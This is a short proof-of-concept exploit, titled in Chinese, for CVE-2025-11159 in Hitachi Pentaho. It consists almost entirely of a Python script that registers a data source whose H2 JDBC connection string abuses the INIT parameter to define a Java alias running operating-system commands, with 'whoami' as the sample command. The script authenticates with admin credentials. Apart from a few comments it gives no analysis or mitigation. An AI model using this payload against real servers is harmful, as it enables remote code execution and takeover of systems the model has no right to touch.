CVE-2025-11159 Hitachi Pentaho远程代码执行漏洞

# PoC for CVE-2025-11159: H2 JDBC RCE via Malicious Connection String # Target: Hitachi Vantara Pentaho Data Integration & Analytics # Requirement: Data Source Administrator privileges (PR:H) import requests import json target_url = "http://pentaho-target:8080/pentaho/api/repo/datasources/ maliciousDS" # Malicious JDBC URL using H2's INIT parameter to execute code # This creates a Java alias to execute system commands malicious_jdbc_url = "jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\"); return s.hasNext() ? s.next() : \"\"; }';CALL EXEC('whoami')" headers = { "Content-Type": "application/json" } # Payload representing a data source configuration update payload = { "name": "ExploitDS", "driverClass": "org.h2.Driver", "url": malicious_jdbc_url, "username": "sa", "password": "" } print("[*] Attempting to create malicious data source...") # The attacker must authenticate as a user with Data Source Admin rights response = requests.post(target_url, headers=headers, data=json.dumps(payload), auth=("admin", "password")) if response.status_code == 200 or response.status_code == 201: print("[+] Success: Data source created/updated.") print("[+] The H2 driver will execute the payload upon connection initialization.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text)